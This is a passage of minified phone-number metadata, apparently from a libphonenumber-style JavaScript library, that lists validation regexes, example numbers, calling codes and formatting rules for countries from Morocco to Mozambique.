,,"0",,,,[[,"(\\d{2})(\\d{7})","$1-$2",["[2-9]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MA:[,[,,"[5-8]\\d{8}",,,,,,,[9]],[,,"5(?:2(?:[0-25-79]\\d|3[1-578]|4[02-46-8]|8[0235-7])|3(?:[0-47]\\d|5[02-9]|6[02-8]|8[014-9]|9[3-9])|(?:4[067]|5[03])\\d)\\d{5}",,,,"520123456"],[,,"(?:6(?:[0-79]\\d|8[0-247-9])|7(?:[0167]\\d|2[0-4]|5[01]|8[0-3]))\\d{6}",,,,"650123456"],[,,"80[0-7]\\d{6}",,,,"801234567"],[,,"89\\d{7}",,,,"891234567"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"(?:592(?:4[0-2]|93)|80[89]\\d\\d)\\d{4}",
,,,"592401234"],"MA",212,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["5[45]"],"0$1"],[,"(\\d{4})(\\d{5})","$1-$2",["5(?:2[2-46-9]|3[3-9]|9)|8(?:0[89]|92)"],"0$1"],[,"(\\d{2})(\\d{7})","$1-$2",["8"],"0$1"],[,"(\\d{3})(\\d{6})","$1-$2",["[5-7]"],"0$1"]],,[,,,,,,,,,[-1]],1,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MC:[,[,,"(?:[3489]|6\\d)\\d{7}",,,,,,,[8,9]],[,,"(?:870|9[2-47-9]\\d)\\d{5}",,,,"99123456",,,[8]],[,,"4(?:[469]\\d|5[1-9])\\d{5}|(?:3|6\\d)\\d{7}",,,,"612345678"],
[,,"(?:800|90\\d)\\d{5}",,,,"90123456",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"MC",377,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3})(\\d{2})","$1 $2 $3",["87"]],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["4"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[389]"]],[,"(\\d)(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["6"],"0$1"]],[[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["4"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[389]"]],[,"(\\d)(\\d{2})(\\d{2})(\\d{2})(\\d{2})",
"$1 $2 $3 $4 $5",["6"],"0$1"]],[,,,,,,,,,[-1]],,,[,,"8[07]0\\d{5}",,,,,,,[8]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MD:[,[,,"(?:[235-7]\\d|[89]0)\\d{6}",,,,,,,[8]],[,,"(?:(?:2[1-9]|3[1-79])\\d|5(?:33|5[257]))\\d{5}",,,,"22212345"],[,,"562\\d{5}|(?:6\\d|7[16-9])\\d{6}",,,,"62112345"],[,,"800\\d{5}",,,,"80012345"],[,,"90[056]\\d{5}",,,,"90012345"],[,,"808\\d{5}",,,,"80812345"],[,,,,,,,,,[-1]],[,,"3[08]\\d{6}",,,,"30123456"],"MD",373,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{5})","$1 $2",["[89]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})",
"$1 $2 $3",["22|3"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["[25-7]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"803\\d{5}",,,,"80312345"],,,[,,,,,,,,,[-1]]],ME:[,[,,"(?:20|[3-79]\\d)\\d{6}|80\\d{6,7}",,,,,,,[8,9],[6]],[,,"(?:20[2-8]|3(?:[0-2][2-7]|3[24-7])|4(?:0[2-467]|1[2467])|5(?:0[2467]|1[24-7]|2[2-467]))\\d{5}",,,,"30234567",,,[8],[6]],[,,"6(?:[07-9]\\d|3[024]|6[0-25])\\d{5}",,,,"67622901",,,[8]],[,,"80(?:[0-2578]|9\\d)\\d{5}",,,,"80080002"],[,,"9(?:4[1568]|5[178])\\d{5}",,,,"94515151",
,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"78[1-49]\\d{5}",,,,"78108780",,,[8]],"ME",382,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[2-9]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"77[1-9]\\d{5}",,,,"77273012",,,[8]],,,[,,,,,,,,,[-1]]],MF:[,[,,"590\\d{6}|(?:69|80|9\\d)\\d{7}",,,,,,,[9]],[,,"590(?:0[079]|[14]3|[27][79]|3[03-7]|5[0-268]|87)\\d{4}",,,,"590271234"],[,,"69(?:0\\d\\d|1(?:2[2-9]|3[0-5])|4(?:0[89]|1[2-6]|9\\d)|6(?:1[016-9]|5[0-4]|[67]\\d))\\d{4}",,,,"690001234"],
[,,"80[0-5]\\d{6}",,,,"800012345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"9(?:(?:39[5-7]|76[018])\\d|475[0-5])\\d{4}",,,,"976012345"],"MF",590,"00","0",,,"0",,,,,,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MG:[,[,,"[23]\\d{8}",,,,,,,[9],[7]],[,,"2072[29]\\d{4}|20(?:2\\d|4[47]|5[3467]|6[279]|7[35]|8[268]|9[245])\\d{5}",,,,"202123456",,,,[7]],[,,"3[2-47-9]\\d{7}",,,,"321234567"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"22\\d{7}",,,,"221234567"],
"MG",261,"00","0",,,"([24-9]\\d{6})$|0","20$1",,,[[,"(\\d{2})(\\d{2})(\\d{3})(\\d{2})","$1 $2 $3 $4",["[23]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MH:[,[,,"329\\d{4}|(?:[256]\\d|45)\\d{5}",,,,,,,[7]],[,,"(?:247|528|625)\\d{4}",,,,"2471234"],[,,"(?:(?:23|54)5|329|45[35-8])\\d{4}",,,,"2351234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"635\\d{4}",,,,"6351234"],"MH",692,"011","1",,,"1",,,,[[,"(\\d{3})(\\d{4})","$1-$2",["[2-6]"]]],,[,
,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MK:[,[,,"[2-578]\\d{7}",,,,,,,[8],[6,7]],[,,"(?:(?:2(?:62|77)0|3444)\\d|4[56]440)\\d{3}|(?:34|4[357])700\\d{3}|(?:2(?:[0-3]\\d|5[0-578]|6[01]|82)|3(?:1[3-68]|[23][2-68]|4[23568])|4(?:[23][2-68]|4[3-68]|5[2568]|6[25-8]|7[24-68]|8[4-68]))\\d{5}",,,,"22012345",,,,[6,7]],[,,"7(?:3555|(?:474|9[019]7)7)\\d{3}|7(?:[0-25-8]\\d\\d|3(?:[1-48]\\d|6[01]|7[01578])|4(?:2\\d|60|7[01578])|9(?:[2-4]\\d|5[01]|7[015]))\\d{4}",,,,"72345678"],[,,"800\\d{5}",
,,,"80012345"],[,,"5\\d{7}",,,,"50012345"],[,,"8(?:0[1-9]|[1-9]\\d)\\d{5}",,,,"80123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"MK",389,"00","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["2|34[47]|4(?:[37]7|5[47]|64)"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[347]"],"0$1"],[,"(\\d{3})(\\d)(\\d{2})(\\d{2})","$1 $2 $3 $4",["[58]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],ML:[,[,,"[24-9]\\d{7}",,,,,,,[8]],[,,"2(?:07[0-8]|12[67])\\d{4}|(?:2(?:02|1[4-689])|4(?:0[0-4]|4[1-39]))\\d{5}",
,,,"20212345"],[,,"2(?:0(?:01|79)|17\\d)\\d{4}|(?:5[01]|[679]\\d|8[2-49])\\d{6}",,,,"65012345"],[,,"80\\d{6}",,,,"80012345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"ML",223,"00",,,,,,,,[[,"(\\d{4})","$1",["67[057-9]|74[045]","67(?:0[09]|[59]9|77|8[89])|74(?:0[02]|44|55)"]],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[24-9]"]]],[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[24-9]"]]],[,,,,,,,,,[-1]],,,[,,"80\\d{6}"],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MM:[,
[,,"1\\d{5,7}|95\\d{6}|(?:[4-7]|9[0-46-9])\\d{6,8}|(?:2|8\\d)\\d{5,8}",,,,,,,[6,7,8,9,10],[5]],[,,"(?:1(?:(?:2\\d|3[56]|[89][0-6])\\d|4(?:2[29]|62|7[0-2]|83)|6)|2(?:2(?:00|8[34])|4(?:0\\d|[26]2|7[0-2]|83)|51\\d\\d)|4(?:2(?:2\\d\\d|48[013])|3(?:20\\d|4(?:70|83)|56)|420\\d|5470)|6(?:0(?:[23]|88\\d)|(?:124|[56]2\\d)\\d|2472|3(?:20\\d|470)|4(?:2[04]\\d|472)|7(?:(?:3\\d|8[01459])\\d|4[67]0)))\\d{4}|5(?:2(?:2\\d{5,6}|47[02]\\d{4})|(?:3472|4(?:2(?:1|86)|470)|522\\d|6(?:20\\d|483)|7(?:20\\d|48[01])|8(?:20\\d|47[02])|9(?:20\\d|470))\\d{4})|7(?:(?:0470|4(?:25\\d|470)|5(?:202|470|96\\d))\\d{4}|1(?:20\\d{4,5}|4(?:70|83)\\d{4}))|8(?:1(?:2\\d{5,6}|4(?:10|7[01]\\d)\\d{3})|2(?:2\\d{5,6}|(?:320|490\\d)\\d{3})|(?:3(?:2\\d\\d|470)|4[24-7]|5(?:(?:2\\d|51)\\d|4(?:[1-35-9]\\d|4[0-57-9]))|6[23])\\d{4})|(?:1[2-6]\\d|4(?:2[24-8]|3[2-7]|[46][2-6]|5[3-5])|5(?:[27][2-8]|3[2-68]|4[24-8]|5[23]|6[2-4]|8[24-7]|9[2-7])|6(?:[19]20|42[03-6]|(?:52|7[45])\\d)|7(?:[04][24-8]|[15][2-7]|22|3[2-4])|8(?:1[2-689]|2[2-8]|[35]2\\d))\\d{4}|25\\d{5,6}|(?:2[2-9]|6(?:1[2356]|[24][2-6]|3[24-6]|5[2-4]|6[2-8]|7[235-7]|8[245]|9[24])|8(?:3[24]|5[245]))\\d{4}",
,,,"1234567",,,[6,7,8,9],[5]],[,,"(?:17[01]|9(?:2(?:[0-4]|[56]\\d\\d)|(?:3(?:[0-36]|4\\d)|(?:6\\d|8[89]|9[4-8])\\d|7(?:3|40|[5-9]\\d))\\d|4(?:(?:[0245]\\d|[1379])\\d|88)|5[0-6])\\d)\\d{4}|9[69]1\\d{6}|9(?:[68]\\d|9[089])\\d{5}",,,,"92123456",,,[7,8,9,10]],[,,"80080(?:0[1-9]|2\\d)\\d{3}",,,,"8008001234",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"1333\\d{4}|[12]468\\d{4}",,,,"13331234",,,[8]],"MM",95,"00","0",,,"0",,,,[[,"(\\d)(\\d{2})(\\d{3})","$1 $2 $3",["16|2"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{3})",
"$1 $2 $3",["[45]|6(?:0[23]|[1-689]|7[235-7])|7(?:[0-4]|5[2-7])|8[1-6]"],"0$1"],[,"(\\d)(\\d{3})(\\d{3,4})","$1 $2 $3",["[12]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[4-7]|8[1-35]"],"0$1"],[,"(\\d)(\\d{3})(\\d{4,6})","$1 $2 $3",["9(?:2[0-4]|[35-9]|4[137-9])"],"0$1"],[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["2"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["8"],"0$1"],[,"(\\d)(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["92"],"0$1"],[,"(\\d)(\\d{5})(\\d{4})","$1 $2 $3",["9"],"0$1"]],,[,,,
,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MN:[,[,,"[12]\\d{7,9}|[5-9]\\d{7}",,,,,,,[8,9,10],[4,5,6]],[,,"[12]2[1-3]\\d{5,6}|(?:(?:[12](?:1|27)|5[368])\\d\\d|7(?:0(?:[0-5]\\d|7[078]|80)|128))\\d{4}|[12](?:3[2-8]|4[2-68]|5[1-4689])\\d{6,7}",,,,"53123456",,,,[4,5,6]],[,,"(?:83[01]|92[039])\\d{5}|(?:5[05]|6[069]|8[015689]|9[013-9])\\d{6}",,,,"88123456",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"712[0-79]\\d{4}|7(?:1[013-9]|[25-9]\\d)\\d{5}",,,,"75123456",
,,[8]],"MN",976,"001","0",,,"0",,,,[[,"(\\d{2})(\\d{2})(\\d{4})","$1 $2 $3",["[12]1"],"0$1"],[,"(\\d{4})(\\d{4})","$1 $2",["[5-9]"]],[,"(\\d{3})(\\d{5,6})","$1 $2",["[12]2[1-3]"],"0$1"],[,"(\\d{4})(\\d{5,6})","$1 $2",["[12](?:27|3[2-8]|4[2-68]|5[1-4689])","[12](?:27|3[2-8]|4[2-68]|5[1-4689])[0-3]"],"0$1"],[,"(\\d{5})(\\d{4,5})","$1 $2",["[12]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MO:[,[,,"0800\\d{3}|(?:28|[68]\\d)\\d{6}",,,,,,,[7,8]],[,,"(?:28[2-9]|8(?:11|[2-57-9]\\d))\\d{5}",
,,,"28212345",,,[8]],[,,"6800[0-79]\\d{3}|6(?:[235]\\d\\d|6(?:0[0-5]|[1-9]\\d)|8(?:0[1-9]|[14-8]\\d|2[5-9]|[39][0-4]))\\d{4}",,,,"66123456",,,[8]],[,,"0800\\d{3}",,,,"0800501",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"MO",853,"00",,,,,,,,[[,"(\\d{4})(\\d{3})","$1 $2",["0"]],[,"(\\d{4})(\\d{4})","$1 $2",["[268]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MP:[,[,,"[58]\\d{9}|(?:67|90)0\\d{7}",,,,,,,[10],[7]],[,,"670(?:2(?:3[3-7]|56|8[4-8])|32[1-38]|4(?:33|8[348])|5(?:32|55|88)|6(?:64|70|82)|78[3589]|8[3-9]8|989)\\d{4}",
,,,"6702345678",,,,[7]],[,,"670(?:2(?:3[3-7]|56|8[4-8])|32[1-38]|4(?:33|8[348])|5(?:32|55|88)|6(?:64|70|82)|78[3589]|8[3-9]8|989)\\d{4}",,,,"6702345678",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",
,,,"5002345678"],[,,,,,,,,,[-1]],"MP",1,"011","1",,,"([2-9]\\d{6})$|1","670$1",,1,,,[,,,,,,,,,[-1]],,"670",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MQ:[,[,,"596\\d{6}|(?:69|80|9\\d)\\d{7}",,,,,,,[9]],[,,"596(?:[03-7]\\d|1[05]|2[7-9]|8[0-39]|9[04-9])\\d{4}",,,,"596301234"],[,,"69(?:6(?:[0-46-9]\\d|5[0-6])|727)\\d{4}",,,,"696201234"],[,,"80[0-5]\\d{6}",,,,"800012345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"9(?:397[0-3]|477[0-5]|76(?:6\\d|7[0-367]))\\d{4}",,,,"976612345"],"MQ",
596,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[569]"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MR:[,[,,"(?:[2-4]\\d\\d|800)\\d{5}",,,,,,,[8]],[,,"(?:25[08]|35\\d|45[1-7])\\d{5}",,,,"35123456"],[,,"[2-4][0-46-9]\\d{6}",,,,"22123456"],[,,"800\\d{5}",,,,"80012345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"MR",222,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})",
"$1 $2 $3 $4",["[2-48]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MS:[,[,,"(?:[58]\\d\\d|664|900)\\d{7}",,,,,,,[10],[7]],[,,"6644(?:1[0-3]|91)\\d{4}",,,,"6644912345",,,,[7]],[,,"664(?:3(?:49|9[1-6])|49[2-6])\\d{4}",,,,"6644923456",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",
,,,"5002345678"],[,,,,,,,,,[-1]],"MS",1,"011","1",,,"([34]\\d{6})$|1","664$1",,,,,[,,,,,,,,,[-1]],,"664",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MT:[,[,,"3550\\d{4}|(?:[2579]\\d\\d|800)\\d{5}",,,,,,,[8]],[,,"20(?:3[1-4]|6[059])\\d{4}|2(?:0[19]|[1-357]\\d|60)\\d{5}",,,,"21001234"],[,,"(?:7(?:210|[79]\\d\\d)|9(?:[29]\\d\\d|69[67]|8(?:1[1-3]|89|97)))\\d{4}",,,,"96961234"],[,,"800(?:02|[3467]\\d)\\d{3}",,,,"80071234"],[,,"5(?:0(?:0(?:37|43)|(?:6\\d|70|9[0168])\\d)|[12]\\d0[1-5])\\d{3}",,,,
"50037123"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"3550\\d{4}",,,,"35501234"],"MT",356,"00",,,,,,,,[[,"(\\d{4})(\\d{4})","$1 $2",["[2357-9]"]]],,[,,"7117\\d{4}",,,,"71171234"],,,[,,,,,,,,,[-1]],[,,"501\\d{5}",,,,"50112345"],,,[,,,,,,,,,[-1]]],MU:[,[,,"(?:[57]|8\\d\\d)\\d{7}|[2-468]\\d{6}",,,,,,,[7,8,10]],[,,"(?:2(?:[0346-8]\\d|1[0-7])|4(?:[013568]\\d|2[4-8]|71)|54(?:[3-5]\\d|71)|6\\d\\d|8(?:14|3[129]))\\d{4}",,,,"54480123",,,[7,8]],[,,"5(?:4(?:2[1-389]|7[1-9])|87[15-8])\\d{4}|(?:5(?:2[5-9]|4[3-689]|[57]\\d|8[0-689]|9[0-8])|7(?:0[0-4]|3[013]))\\d{5}",
,,,"52512345",,,[8]],[,,"802\\d{7}|80[0-2]\\d{4}",,,,"8001234",,,[7,10]],[,,"30\\d{5}",,,,"3012345",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"3(?:20|9\\d)\\d{4}",,,,"3201234",,,[7]],"MU",230,"0(?:0|[24-7]0|3[03])",,,,,,"020",,[[,"(\\d{3})(\\d{4})","$1 $2",["[2-46]|8[013]"]],[,"(\\d{4})(\\d{4})","$1 $2",["[57]"]],[,"(\\d{5})(\\d{5})","$1 $2",["8"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MV:[,[,,"(?:800|9[0-57-9]\\d)\\d{7}|[34679]\\d{6}",,,,,,,[7,10]],[,,"(?:3(?:0[0-3]|3[0-59])|6(?:[58][024689]|6[024-68]|7[02468]))\\d{4}",
,,,"6701234",,,[7]],[,,"(?:46[46]|[79]\\d\\d)\\d{4}",,,,"7712345",,,[7]],[,,"800\\d{7}",,,,"8001234567",,,[10]],[,,"900\\d{7}",,,,"9001234567",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"MV",960,"0(?:0|19)",,,,,,"00",,[[,"(\\d{3})(\\d{4})","$1-$2",["[34679]"]],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[89]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"4(?:0[01]|50)\\d{4}",,,,"4001234",,,[7]],,,[,,,,,,,,,[-1]]],MW:[,[,,"(?:[1289]\\d|31|77)\\d{7}|1\\d{6}",,,,,,,[7,9]],[,,"(?:1[2-9]|2[12]\\d\\d)\\d{5}",
,,,"1234567"],[,,"111\\d{6}|(?:31|77|[89][89])\\d{7}",,,,"991234567",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"MW",265,"00","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["1[2-9]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["2"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[137-9]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MX:[,[,,"[2-9]\\d{9}",,,,,,,[10],[7,8]],[,,"657[12]\\d{6}|(?:2(?:0[01]|2\\d|3[1-35-8]|4[13-9]|7[1-689]|8[1-578]|9[467])|3(?:1[1-79]|[2458][1-9]|3\\d|7[1-8]|9[1-5])|4(?:1[1-57-9]|[267][1-9]|3[1-8]|[45]\\d|8[1-35-9]|9[2-689])|5(?:[56]\\d|88|9[1-79])|6(?:1[2-68]|[2-4][1-9]|5[1-3689]|6[0-57-9]|7[1-7]|8[67]|9[4-8])|7(?:[1346][1-9]|[27]\\d|5[13-9]|8[1-69]|9[17])|8(?:1\\d|2[13-689]|3[1-6]|4[124-6]|6[1246-9]|7[0-378]|9[12479])|9(?:1[346-9]|2[1-4]|3[2-46-8]|5[1348]|[69]\\d|7[12]|8[1-8]))\\d{7}",
,,,"2001234567",,,,[7,8]],[,,"657[12]\\d{6}|(?:2(?:2\\d|3[1-35-8]|4[13-9]|7[1-689]|8[1-578]|9[467])|3(?:1[1-79]|[2458][1-9]|3\\d|7[1-8]|9[1-5])|4(?:1[1-57-9]|[267][1-9]|3[1-8]|[45]\\d|8[1-35-9]|9[2-689])|5(?:[56]\\d|88|9[1-79])|6(?:1[2-68]|[2-4][1-9]|5[1-3689]|6[0-57-9]|7[1-7]|8[67]|9[4-8])|7(?:[1346][1-9]|[27]\\d|5[13-9]|8[1-69]|9[17])|8(?:1\\d|2[13-689]|3[1-6]|4[124-6]|6[1246-9]|7[0-378]|9[12479])|9(?:1[346-9]|2[1-4]|3[2-46-8]|5[1348]|[69]\\d|7[12]|8[1-8]))\\d{7}",,,,"2221234567",,,,[7,8]],[,,"8(?:00|88)\\d{7}",
,,,"8001234567"],[,,"900\\d{7}",,,,"9001234567"],[,,"300\\d{7}",,,,"3001234567"],[,,"500\\d{7}",,,,"5001234567"],[,,,,,,,,,[-1]],"MX",52,"0[09]",,,,,,"00",,[[,"(\\d{5})","$1",["53"]],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["33|5[56]|81"]],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[2-9]"]]],[[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["33|5[56]|81"]],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[2-9]"]]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MY:[,[,,"1\\d{8,9}|(?:3\\d|[4-9])\\d{7}",
,,,,,,[8,9,10],[6,7]],[,,"4270\\d{4}|(?:3(?:2[0-36-9]|3[0-368]|4[0-278]|5[0-24-8]|6[0-467]|7[1246-9]|8\\d|9[0-57])\\d|4(?:2[0-689]|[3-79]\\d|8[1-35689])|5(?:2[0-589]|[3468]\\d|5[0-489]|7[1-9]|9[23])|6(?:2[2-9]|3[1357-9]|[46]\\d|5[0-6]|7[0-35-9]|85|9[015-8])|7(?:[2579]\\d|3[03-68]|4[0-8]|6[5-9]|8[0-35-9])|8(?:[24][2-8]|3[2-5]|5[2-7]|6[2-589]|7[2-578]|[89][2-9])|9(?:0[57]|13|[25-7]\\d|[3489][0-8]))\\d{5}",,,,"323856789",,,[8,9],[6,7]],[,,"1(?:1888[689]|4400|8(?:47|8[27])[0-4])\\d{4}|1(?:0(?:[23568]\\d|4[0-6]|7[016-9]|9[0-8])|1(?:[1-5]\\d\\d|6(?:0[5-9]|[1-9]\\d)|7(?:[0-4]\\d|5[0-7]))|(?:[269]\\d|[37][1-9]|4[235-9])\\d|5(?:31|9\\d\\d)|8(?:1[23]|[236]\\d|4[06]|5(?:46|[7-9])|7[016-9]|8[01]|9[0-8]))\\d{5}",
,,,"123456789",,,[9,10]],[,,"1[378]00\\d{6}",,,,"1300123456",,,[10]],[,,"1600\\d{6}",,,,"1600123456",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"15(?:4(?:6[0-4]\\d|8(?:0[125]|[17]\\d|21|3[01]|4[01589]|5[014]|6[02]))|6(?:32[0-6]|78\\d))\\d{4}",,,,"1546012345",,,[10]],"MY",60,"00","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{4})","$1-$2 $3",["[4-79]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1-$2 $3",["1(?:[02469]|[378][1-9]|53)|8","1(?:[02469]|[37][1-9]|53|8(?:[1-46-9]|5[7-9]))|8"],"0$1"],[,"(\\d)(\\d{4})(\\d{4})",
"$1-$2 $3",["3"],"0$1"],[,"(\\d)(\\d{3})(\\d{2})(\\d{4})","$1-$2-$3-$4",["1(?:[367]|80)"]],[,"(\\d{3})(\\d{3})(\\d{4})","$1-$2 $3",["15"],"0$1"],[,"(\\d{2})(\\d{4})(\\d{4})","$1-$2 $3",["1"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],MZ:[,[,,"(?:2|8\\d)\\d{7}",,,,,,,[8,9]],[,,"2(?:[1346]\\d|5[0-2]|[78][12]|93)\\d{5}",,,,"21123456",,,[8]],[,,"8[2-79]\\d{7}",,,,"821234567",,,[9]],[,,"800\\d{6}",,,,"800123456",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],
[,,,,,,,,,[-1]],"MZ",258,"00",,,,,,,,[[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["2|8[2-79]"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 